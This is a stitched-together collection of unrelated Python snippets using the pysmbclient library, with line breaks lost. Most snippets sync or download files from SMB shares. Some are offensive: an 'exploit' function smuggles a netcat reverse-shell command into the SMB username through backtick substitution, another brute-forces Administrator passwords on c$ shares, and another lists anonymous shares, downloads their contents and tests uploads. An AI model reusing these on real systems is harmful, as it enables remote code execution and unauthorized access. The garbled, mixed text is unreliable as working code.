def update_meta_files(cls): log.info(u'Start update meta files: %s' % cls.__unicode__()) if cls.PATH_TYPE == 'smb': import smbclient smb = smbclient.SambaClient(cls.SMB_SERVER, cls.SMB_SHARE, cls.SMB_USER, cls.SMB_PWD) #print smb.listdir('/') workdir = smb.listdir(cls.PATH_TO_BASE) log.debug(u'Files on smb: %s' % repr(workdir)) for filename in cls.FILES: if filename in workdir: fullname = os.path.join(cls.PATH_TO_BASE, filename) target_name = cls.METAFILE_FULL_PATH(filename) log.info(u'downloading: %s -> %s' % (fullname, target_name)) smb.download(fullname, target_name) return True if cls.PATH_TYPE == 'dir': workdir = os.listdir(cls.PATH_TO_BASE) log.debug(u'Files on smb: %s' % repr(workdir)) for filename in cls.FILES: if filename in workdir: fullname = os.path.join(cls.PATH_TO_BASE, filename) target_name = cls.METAFILE_FULL_PATH(filename) log.info(u'copying: %s -> %s' % (fullname, target_name)) fsrc = open(fullname, 'rb', 1024) try: fout = open(target_name, 'wb', 1024) fout.write(fsrc.read()) finally: fsrc.close() fout.close() return True
def exploit(args, port, reverse_handler): payload = "/=`%s`" % (reverse_handler.payload_NETCAT.strip('\n')) smb = smbclient.SambaClient(server=args.target, share="tmp", \ username=payload, password='******', domain='WORKGROUP') reverse_handler.run() try: print(" \033[1;32m*\033[00m Sending stage %s:%d" % (args.target, port)) smb.listdir('/') except smbclient.SambaClientError: pass
def __init__(self, server, share, username, password, domain, filetypes=()): self.server = server self.share = share self.username = username self.password = password self.domain = domain self.smb = smbclient.SambaClient(server=server, share=share, username=username, password=password, domain=domain) self.filetypes = [] if filetypes: self.filetypes = tuple( [filetype.lower() for filetype in filetypes])
def authenticate(ip,passwords): print 'Checking Authentication' for cpass in passwords: try: print 'checking authentication' smb = smbclient.SambaClient(server=ip, share='c$', username='******', password=cpass) a = smb.listdir("/") print "Sucessfully Authenticated with: Administrator\%s against %s" % (cpass, ip) break except Exception as e: error_string = str(e) if "NT_STATUS_ACCESS_DENIED" in error_string: print "NT_STATUS_ACCESS_DENIED" pass else: pass return()
def __init__(self, **kwargs): BaseClient.__init__(self, uri=kwargs.pop('uri', 'smb://'), **kwargs) def resolve(x, default=None, action='pop'): f = getattr(kwargs, action) obj_default = getattr(self, x, default) return f(x, self.params[x] or self.query[x] or obj_default) # construct predictable smbclient defaults kws = dict([ (k, resolve(k)) for k in ('username', 'password', 'port', 'domain', 'resolve_order', 'ip', 'buffer_size', 'debug_level', 'config_file', 'logdir', 'netbios_name', 'workgroup') ]) smbclient.SambaClient(server=resolve('server') or resolve('hostname'), share=resolve('share') or self.getshare(), kerberos=resolve('kerberos', False), runcmd_attemps=resolve('runcmd_attemps', 1), **kws)
def do_smb(): """reaches out and connects to a secured smb share and reads a file""" smbs = ['smb1', 'smb2'] while True: for smb_host in smbs: time.sleep(random.uniform(10, 20)) smb = smbclient.SambaClient(server=smb_host, share='secured', username='******', password='******') smb.listdir('/') time.sleep(1) with smb.open('/secret.txt') as f: f.read() smb.close() del (smb)
def upload(): fp = open(path_details, "r") data = fp.read().splitlines() server = data[0] username = data[1] password = data[2] syspass = data[3] share = data[1] domain = "pdc.jiit" smb = smbclient.SambaClient(server, share, username, password, domain) Tk().withdraw( ) # we don't want a full GUI, so keep the root window from appearing path = askopenfilename() filename = os.path.basename(path) remote_path = """/""" + username + """/""" smb.upload(path, remote_path) smb.rename("""/""" + username, """/""" + filename) os.system('notify-send "File Uploaded" ') os.system('play --no-show-progress --null --channels 1 synth %s sine %f' % (1, 99999)) fp.close()
#!/usr/bin/python #Extract ziped file with password import smbclient import sys dataServer = smbclient.SambaClient(server="172.16.160.11", share="Mat khau su dung", domain="WORKGROUP", user=sys.argv[2], password=sys.argv[3]) dataServer.chdir("2018") with dataServer.open("MatKhau_Thang_032018.txt", "r") as passwordFile: for eachLine in passwordFile.readline(): print eachLine
import glob import smbclient import time # start timer to return time taken start = time.time() accNo = sys.argv[1] accNo = accNo.upper() records = set() folderContents = set() # Create Connection to SMB shared drive smb = smbclient.SambaClient(server="", share="", username="", password="", domain="") # Check to see if file exists, if it does adds it to a set folderPath = "/exampleFolderName/" + letter + "/" try: if smb.glob(folderPath): folderGlob = smb.glob(folderPath + accNo + "*") for eachFile in folderGlob: accFolder = folderPath + eachFile[0] filePath = smb.glob(accFolder + "/*") for eachFile in filePath: records.add(accFolder + "/" + eachFile[0]) folderContents.add(eachFile[0])
import smbclient smb = smbclient.SambaClient() f = smb.open('smb://filer1.neurospeed.com/upload/BLACKHAT') data = f.read() f.close()
def connect_smb(server, share_name): smb = smbclient.SambaClient(server=server, share=share_name) return smb
def smb_download_file(download_urls=None, filename=None, out_path=None, re_write=True): """ Найти и загрузить файл. @param download_urls: Список путей поиска файла. Пример: ('smb://xhermit@SAFE/Backup/daily.0/Nas_pvz/smb/sys_bucks/Nas_pvz/NSI/', 'smb://xhermit@TELEMETRIA/share/install/', ... ) Параметр может задаваться строкой. В таком случае считаем что URL один. @param filename: Относительное имя файла. Например: '/2017/FDOC/RC001.DCM' @param out_path: Локальный путь для сохранения файла. @param re_write: Перезаписать локальный файл, если он уже существует? @return: True - Произошла загрузка, False - ничего не загружено. """ if download_urls is None: log.warning(u'Не определены пути поиска файла на SMB ресурсах') return False elif isinstance(download_urls, str) or isinstance(download_urls, unicode): # У нас 1 URL download_urls = [download_urls] if out_path is None: out_path = ic_file.getPrjProfilePath() result = False smb = None for download_url in download_urls: try: url = urlparse.urlparse(download_url) download_server = url.hostname download_share = url.path.split(os.path.sep)[1] download_username = url.username download_password = url.password smb = smbclient.SambaClient(server=download_server, share=download_share, username=download_username, password=download_password, domain=DEFAULT_WORKGROUP) log.info(u'Установлена связь с SMB ресурсом') log.info(u'\tсервер <%s>' % download_server) log.info(u'\tпапка <%s>' % download_share) log.info(u'\tпользователь <%s>' % download_username) log.info(u'\tURL <%s>' % download_url) # Получить имена загружаемых файлов path_list = smb_url_path_split(url) if filename is None: filename = path_list[-1] log.debug(u'\tФайл: <%s>' % filename) path_list = path_list[2:] else: path_list = path_list[2:] + [filename] download_file = os.path.join(*path_list) log.info(u'Загрузка файла <%s>' % download_file) dst_filename = os.path.join(out_path, filename) if os.path.exists(dst_filename) and re_write: log.info(u'Удаление файла <%s>' % dst_filename) try: os.remove(dst_filename) except: log.fatal(u'Ошибка удаления файла <%s>' % dst_filename) dst_path = os.path.dirname(dst_filename) if not os.path.exists(dst_path): try: os.makedirs(dst_path) log.info(u'Создание папки <%s>' % dst_path) except: log.fatal(u'Ошибка создания папки <%s>' % dst_path) # ВНИМАНИЕ! Найден глюк библиотеки smbclient: # В списке файлов могут пропадать файлы большого размера. # Поэтому проверку на существование файла в SMB ресурсе не производим # а сразу пытаемся его загрузить. try: smb.download(download_file, dst_filename) log.info(u'Файл <%s> загружен' % download_file) result = True except: log.warning(u'''При возникновении ошибки в smbclient'e возможно проблема в самой библиотеке pysmbclient. Решение: В файле /usr/local/lib/python2.7/dist-packages/smbclient.py в вызове функции subprocess.Popen() убрать параметр <shell=True> или поставить в False. ''') log.fatal(u'SMB. Ошибка загрузки SMB файла <%s>' % download_file) result = False smb.close() smb = None break except: if smb: smb.close() log.fatal(u'Ошибка загрузки файла <%s> из SMB ресурса <%s>' % (filename, download_url)) result = False return result
def main(db_file): sqlite = MySQLCloudMetric() i = 0 while (1): i = i + 1 #print(i) rows = sqlite.select_metric_by_active() for row in rows: #'/home/pablo/sintetico.txt', 2, 'BrokerPabloNotebook', 'guest', 'guest', '172.17.0.2', '15672', 'client-req', 'RabbitMQ', 1 #IP, Porta, user, senha #print(row) #print(i) broker = BrokerRabbitMQ(row[7], row[8], row[5], row[6]) if (broker.ativo): #print(row) topic = row[2] #print(topic) file_metric = row[1] #print(file_metric) try: # read file if (file_metric != 'None'): posEnd = file_metric.rfind('/') file_name = file_metric[posEnd + 1:] server_ip = file_metric[6:posEnd] smb = smbclient.SambaClient(server=server_ip, share="experimentos", username='******', password='******', domain='WORKGROUP') json_file = smb.open(file_name, 'r+') #json_file = open(file_metric, 'r+') #print(json_file) #first = json_file.read(0) #if(not first): # print('Arquivo vazio') # continue message = json.load(json_file) print(message) #print(message) #print('etapa 1') #print(data) #print(str(data['Timestamp'])) #prinnt('Passou') #print(message) #message = 'Transmitindo' #Zera o tamanho do arquivo json_file.truncate(0) json_file.close() broker.publicar('CloudMetric', topic, message) broker.connection.close() #print('Saindoooo') #return except: #print('entrou') continue #print("Erro ao ler o arquivo " + file_metric) #return #sqlite.update_metric(row[0]) else: #return sqlite.update_metric(row[0])
path_details = """/home/""" + user + "/File-Server-Sync-System-/Details.txt" "" fp = open(path_details, 'r') data = fp.read().splitlines() server = data[0] username = data[1] password = data[2] syspass = data[3] share = """Study Material""" # # for Study Material #share =username ## for my directory attach = """/home/""" + user + """/Documents""" #attach = """/home/""" + user + """/Documents/"""+username # for my directory domain = "pdc.jiit" smb = smbclient.SambaClient(server, share, username, password, domain) local_file = [] local_dir = [] remote_file = [] remote_dir = [] sorted_local_dir = [] local_dir_dict = {} all_paths = [] def pathtodir(path): if not os.path.exists(path): l = [] p = "/" l = path.split("/") i = 1
def analyse_SMB(serveur_SMB): # LISTING DES PARTAGES SMB message_smbclient = subprocess.getstatusoutput("/usr/bin/smbclient -L " + serveur_SMB + " -N") if message_smbclient[0] == 1: print( "Impossible d'afficher la liste des partages SMB du serveur %s sans identifiant" % serveur_SMB) return 0 sortie_smbclient = message_smbclient[1].split("\n") del sortie_smbclient[0:4] print( "Voici la liste des partages SMB du serveur %s visibles sans identifiant :" % serveur_SMB) liste_Partage_SMB = [] for ligne_sortie_smbclient in sortie_smbclient: if "Disk" in ligne_sortie_smbclient: longueur_nom_partage_SMB = ligne_sortie_smbclient.find(" ") liste_Partage_SMB.append( ligne_sortie_smbclient[1:longueur_nom_partage_SMB]) print(liste_Partage_SMB) try: os.mkdir(serveur_SMB + "-SMB") except: print("Le dossier %s-SMB existe déjà" % serveur_SMB) fichier_test_upload = open("test_upload_SMB.txt", "w") fichier_test_upload.write("Test upload de fichier vers serveur SMB") fichier_test_upload.close() # Connexion aux différents partages SMB for partage_SMB in liste_Partage_SMB: connexion_smb = smbclient.SambaClient(server=serveur_SMB, share=partage_SMB, username="******", password="") is_function_succeeded = telechargement_et_test_upload_serveur_SMB( connexion_smb, serveur_SMB, partage_SMB) if is_function_succeeded == False: connexion_smb = smbclient.SambaClient(server=serveur_SMB, share=partage_SMB, username="", password="") is_function_succeeded = telechargement_et_test_upload_serveur_SMB( connexion_smb, serveur_SMB, partage_SMB) if is_function_succeeded == False: print( "Impossible de se connecter au partage SMB %s du serveur %s sans identifiant" % (partage_SMB, serveur_SMB)) print( "Le contenu de tous les partages SMB du serveur %s accessibles sans identifiant ont été téléchargés dans le dossier %s-SMB" % (serveur_SMB, serveur_SMB)) os.remove("test_upload_SMB.txt")